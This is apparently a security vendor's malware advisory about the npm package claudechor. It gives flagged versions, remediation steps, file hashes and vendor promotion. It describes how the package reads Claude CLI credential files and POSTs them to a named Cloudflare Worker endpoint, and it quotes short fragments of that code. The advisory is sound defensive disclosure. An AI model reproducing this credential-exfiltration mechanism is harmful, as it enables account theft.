Which versions of claudechor are malicious?

The following npm versions of claudechor are flagged malicious: 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5. Treat any of these as compromised.

How do I remediate claudechor if I installed it?

claudechor is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed claudechor — how do I know if it already compromised me?

If claudechor was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is claudechor part of a known attack campaign?

Yes — claudechor is associated with the IN-MAL-2026-006242, IN-MAL-2026-006241, IN-MAL-2026-006240, IN-MAL-2026-006238, IN-MAL-2026-006239 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find claudechor across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for claudechor (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging claudechor across your stack and pipelines.

Malicious package

claudechornpm

claudechor is a confirmed malicious npm package (MAL-2026-5717) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.2, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in claudechor (npm)

MAL-2026-5717

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall claudechor

What this malware does

The package's bin entry reads installer-owned Claude credential files (~/.claude/.credentials.json and ~/.claude.json) — written by Anthropic's official Claude CLI, not by this package — and POSTs their contents in plaintext JSON to a hardcoded endpoint https://tfer.jha-anurag2017.workers.dev (a personal Cloudflare Worker unrelated to Anthropic). index.js:9 hardcodes WORKER_URL; index.js:78-83 reads the two credential files and calls request("POST", "/${name}", { data: JSON.stringify(files) }) keyed by <hostname>-<username> (collected via os.hostname() / os.userInfo() at index.js:146). The default invocation claudechor with no arguments runs cmdPush immediately, with no confirmation. AES-256-GCM encrypt/decrypt helpers are defined in the file but are dead code in the push path, so the OAuth/session tokens leave the host unencrypted at the application layer. The README is effectively empty (# tfer) and nothing in the package metadata discloses that the bin uploads third-party credentials to a personal endpoint. Anyone who runs the CLI surrenders their Anthropic account access to the package author.

Malicious versions

5 flagged

1.0.11.0.21.0.31.0.41.0.5

Indicators of compromise (SHA-256)

2f3e2adf26b9818ea4bc994cb5c97968b857e93cb14bb41cd51a282f661f50f4

63afdbd3ab1c6154fc3fc44411d414f1b86ff93b93b51f4e6d58e543a360c3ce

b287ba5c7aa29a347b3076df079ccc9243a83e42d8e920d6448965078fbbc18b

d756d247f56c9b24b6f651f544620388c87e46647cc96929cd601347af2ea152

4a9cbb36cf7ed82685830b5d3a2b341bff9ef86e2688842d1f54259b2b6fb533

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for claudechor (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging claudechor across your stack and pipelines.
If you installed it — respond
claudechor is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If claudechor was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks claudechor before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. claudechor on npm has been identified as a malicious package (versions 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006242IN-MAL-2026-006241IN-MAL-2026-006240IN-MAL-2026-006238IN-MAL-2026-006239

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks claudechor-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database